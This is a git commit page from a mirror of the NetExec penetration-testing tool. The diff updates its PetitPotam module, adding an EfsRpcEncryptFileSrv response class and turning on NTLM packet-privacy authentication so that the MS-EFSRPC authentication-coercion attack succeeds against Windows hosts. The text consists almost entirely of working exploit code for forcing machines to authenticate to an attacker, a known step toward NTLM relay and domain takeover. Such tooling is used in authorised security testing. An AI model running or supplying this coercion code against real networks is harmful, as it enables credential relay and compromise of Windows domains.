swisskyrepo
/
NetExec
mirror of https://github.com/swisskyrepo/NetExec.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

* Add necessary class for success when calling EfsRpcEncryptFileSrv

main
Adam 2022-03-04 11:24:10 -06:00
parent b1308da93e
commit 1e69eb3791
1 changed files with 11 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
cme/modules/petitpotam.py
View File

@ -7,7 +7,7 @@ from impacket import system_errors
from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin from impacket.uuid import uuidtup_to_bin
class CMEModule: class CMEModule:
@ -143,12 +143,18 @@ class EfsRpcOpenFileRawResponse(NDRCALL):
('hContext', EXIMPORT_CONTEXT_HANDLE), ('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG), ('ErrorCode', ULONG),
) )
class EfsRpcEncryptFileSrv(NDRCALL): class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4 opnum = 4
structure = ( structure = (
('FileName', WSTR), ('FileName', WSTR),
) )
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class CoerceAuth(): class CoerceAuth():
def connect(self, username, password, domain, lmhash, nthash, target, pipe, targetIp): def connect(self, username, password, domain, lmhash, nthash, target, pipe, targetIp):
binding_params = { binding_params = {
@ -181,8 +187,8 @@ class CoerceAuth():
rpctransport.setRemoteHost(targetIp) rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc() dce = rpctransport.get_dce_rpc()
#dce.set_auth_type(RPC_C_AUTHN_WINNT) dce.set_auth_type(RPC_C_AUTHN_WINNT)
#dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
try: try:
dce.connect() dce.connect()